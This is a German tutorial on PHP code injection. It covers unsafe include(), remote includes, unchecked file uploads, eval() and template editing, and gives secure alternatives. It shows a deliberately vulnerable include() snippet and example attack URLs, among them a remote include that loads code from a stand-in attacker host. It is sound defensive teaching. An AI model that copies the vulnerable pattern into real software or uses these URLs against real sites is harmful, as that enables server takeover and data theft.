Code Injection
Code-Injection bedeutet, dass ein Angreifer PHP-Code in eure Anwendung einschleust und die Möglichkeit hat diese auf eurem Server auszuführen. Ein erfolgreicher Code-Injection-Angriff hat zur Folge, dass der Angreifer beliebig eure Scripts und eure Datenbank manipulieren kann. Damit zählt eine Code-Injection zu einer der gefährlichsten Angriffen, ist aber zum Glück nur sehr selten möglich.
Inhaltsverzeichnis
Grundlagen
Bei einer Code-Injection gelingt es einem Angreifer, Code auf eurem Webserver auszuführen. Dadurch kann dieser beliebigen Schaden auf eurem Webserver anrichten. Er kann sich darüber alle Dateien auf dem Webspace herunterladen, eure komplette Datenbank auslesen und auch Dateien auf dem Server manipulieren, beispielsweise den Login-Script so verändern, dass alle Kundenpasswörter in Klartext gespeichert und an den Angreifer gesendet wird. Deswegen sind potentielle Code-Injection-Schwachstellen zu vermeiden. Zum Glück sind diese Schwachstellen aber recht selten, da man als Entwickler schon recht ungeschickt sein muss, um einem Angreifer eine Code-Injection zu ermöglichen.
Typische Verwundbarkeiten
Eine Code-Injection ist typischerweise möglich aufgrund einer der folgenden Schwachstellen. Wenn ihr diese alle vermeidet, dann sollten eure PHP-Scripts soweit sicher sein.
Unsaubere Verwendung von include()
Include() und require() sind oft verwendete Funktionen um PHP-Scripts in mehrere Dateien aufzuteilen, beispielsweise in eine Datei mit Konfigurationswerten, eine Datei zum Aufbau der Datenbankverbindung, eine Datei mit oft genutzt Funktionen usw. Viele verwenden diese auch um den Content einer Website von den sonstigen Elementen (Menü, Header etc.) der Website zu trennen. Ein möglicher, unsicherer Code sieht wie folgt aus:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<?php if(isset($_GET['seite'])) { $seite = $_GET['seite']; } else { $seite = "startseite.php"; } include("header.php"); include($seite); include("footer.php"); ?> |
Solche Konstrukte erkennt man oft, indem diese Seiten mittels index.php?seite=contact.php o.ä. aufgerufen wird. Der fatale Fehler liegt hier in Zeile 10. Ein Angreifer kann den Parameter ?seite manipulieren und damit beliebige Dateien auf dem Server ausführen oder ausgeben. Habt ihr beispielsweise in einem geschützen Verzeichnis irgendwelche sensiblen Daten, so kann der Angreifer diese mittels dem Auruf index.php?seite=geschuetzes_verzeichnis/geheime_daten.txt auslesen.
Es kann sogar noch schlimmer kommen und er kann unter Umständen Code von fremden Servern nachladen, indem er index.php?seite=http://hackers-website.de/evilscript.php ausführt. Sofern sein Webserver unter evilscript.php PHP-Code ausgibt (und dieses nicht interpretiert), so wird dieser PHP-Code von eurem Webserver geladen und bei euch auf dem Server ausgeführt. Schon hat der Angreifer die komplette Kontrolle über eure Website.
Das Laden mittels URL von einem fremden Webserver kann verhindert werden indem die Option allow_url_include deaktiviert wird (weitere Infos bzgl. Optionen des PHP Interpreters). Dies ist aber kein ausreichender Schutz.
Im Idealfall solltet ihr niemals Code dynamisch mittels include laden. Falls ihr dennoch darauf angewiesen seid, müsst ihr vorab überprüfen ob der Parameter einen gültigen, von euch erlaubten Wert hat. Eine Möglichkeit ist beispielsweise:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
<?php if(isset($_GET['seite'])) { $seite = $_GET['seite']; } else { $seite = "startseite.php"; } $erlaubte_seiten = array("startseite.php", "contact.php", "business.php"); if(!in_array($seite, $erlaubte_seiten)) { die("Ungültige Seite"); } include("header.php"); include($seite); include("footer.php"); ?> |
Laden von fremden Inhalten mittels include()
Leider nutzen manche immer noch include um fremde Inhalte für eine Website zu laden, beispielsweise Werbung von einem Drittanbieter. Hier mag zwar die URL fest im Code kodiert sein, ihr seid aber dennoch Angreifbar bzgl. Code-Injections. Zum einen könnte der Drittanbieter dies gezielt ausnutzen und euch PHP-Code unterschieben und diesen darüber auf eurem Webserver ausführen. Oder der Drittanbieter wird gehackt und der Angreifer verteilt über die Werbeanzeigen entsprechend schadhaften PHP-Code, der weiteren Schaden auf allen anderen Systemen anrichten.
Es sind auch noch weitere Angriffe denkbar. Beispielsweise könnte auch der DNS-Server den euer Webhosting-Anbieter benutzt manipuliert werden und die Anzeigen werden nicht vom eigentlichen Drittanbieter bezogen, sondern von einem Server den der Angreifer kontrolliert. Und schon kann Schadcode über die include-Funktion bei euch ausgeführt werden.
Deswegen sollte nie eine URL mittels include geladen werden, am Besten dies ist wird schon durch die PHP-Einstellungen deaktiviert indem allow_url_include auf false gesetzt wird. Nutzt zum Nachladen von z.B. Werbeanzeigen lieber file_get_contents. Damit wäre das einzige Gefahrenpotential "nur" noch Cross-Site-Scripting-Attacken.
Fehlerhafter Dateiupload I - Keine Überprüfung der Datei
Viele Websites erlauben den Upload von Dateien, beispielsweise von Fotodateien. Findet keine Überprüfung des Dateityps statt, so kann der Angreifer beispielsweise die Bild-Uploadfunktion missbrauchen und statt einem Bild eine PHP-Datei auf euren Server hochladen. Ist diese Datei aufrufbar, z.B. indem alle Uploads in einem bestimmten Ordner landen, so kann der Angreifer diese Datei ausführen und damit beliebigen Code ausführen, beispielsweise Code zum Löschen eurer Datenbank.
Solltet ihr einen Dateiupload besitzen, so solltet ihr unbedingt die Dateiendung und/oder den Dateityp (Mime-Typ) überprüfen und nur die erwünschten Dateien, beispielsweise Bilder, erlauben (mehr dazu im nächsten Abschnitt).
Fehlerhafter Dateiupload II - Überschreibung vorhandener Dateien
Ein weiteres Problem beim Dateiupload kann die Überschreibung von vorhandenen Dateien sein. Sollte move_upload_file() unvorsichtig eingesetzt werden, so wird der ursprüngliche Dateinahme beibehalten. Sind im Upload-Ordner andere Dateien vorhanden, so können diese überschrieben werden. Problematisch wird dies, wenn eine .htaccess-Datei den Zugriff auf den Ordner begrenzen soll, z.B. indem kein direkter Zugriff auf den Ordner möglich ist oder das Ausführungen von Script-Dateien verhindert wird. Der Angreifer könnte so die .htaccess-Datei überschreiben und so den Schutz des Upload-Ordners aufheben.
Verwendung der eval()-Funktion
Die eval() wertet eine Zeichenkette als PHP-Code aus. Leider ist diese besonders beliebt, wenn Programmierer auf die Idee kommen, PHP-Code in einer Datenbank abzuspeichern um diesen dann später zur Laufzeit auszuführen. Nicht zu unrecht kam für diese Funktion das Sprichwort "eval is pure evil" (eval ist bösartig) auf, da das Missbrauchspotential zu groß ist. Habt ihr in euren Datenbankeinträgen PHP-Code, so kann ein Angreifer nachdem er es schafft diesen Code in der Datenbank zu verändern (z.B. durch eine SQL-Injection oder durch einen gehackten Benutzerzugang), eine entsprechende Code-Injection durchführen und weiteren, beliebigen Schadcode auf der Website ausführen.
eval() sollte deswegen niemals verwendet werden. Neben des großen Gefahrenpotential dieser Funktion ist eval() ebenso eine zumeist sehr unsaubere und unprofessionelle Art der Programmierung und es macht das Auffinden von Fehlern deutlich schwieriger. Ihr solltet also lieber alternative Lösungswege suchen um euer Problem zu lösen und komplett auf den Einsatz von eval() verzichten.
Unsichere Nutzung von Template-Engines
Viele Template-Engines erlauben die Verwendung von Kontrollstrukturen (if, else etc.) in den Templates. Diese Templates werden meistens in PHP-Code übersetzt und dann mittels include geladen. Kann ein Angreifer die Templates bearbeiten, beispielsweise weil diese in der Datenbank abgespeichert sind oder weil ihr einen Editor im Administratoren-Backend besitzt zum Bearbeiten dieser Templates, so kann der Angreifer schadhaften PHP-Code in das Template einschleusen und später ausführen lassen. Schutz dagegen existiert nur, indem ihr verhindert das Angreifer eure Template bearbeiten könnt. D.h. diese zu bearbeiten sollte ebenso gut geschützt sein wie das direkte Bearbeiten eurer PHP Scripts. Ein Editor zum Verwalten der Templates im Administratorenbereich ist zwar bequem, aber auch eine entsprechende Sicherheitslücke. Denn Passwörter können von Administratoren leicht geklaut werden.
Schutz vor Code-Injections
Vermeidet ihr die obigen Probleme, so solltet ihr recht gut gegen Code-Injections geschützt sein. Sobald Code irgendwie dynamisch ausgeführt wird, sei es durch die Verwendung von include oder eval, solltet ihr vorsichtig werden ob ein Angreifer nicht Code einschleusen könnte. Auch solltet ihr verhindern, dass ein Angreifer Dateien auf eurem Server überschreiben kann. Sei dies durch ein Datei-Upload oder durch das Schreiben in Dateien mittels file_put_contents().
Autor: Nils Reimers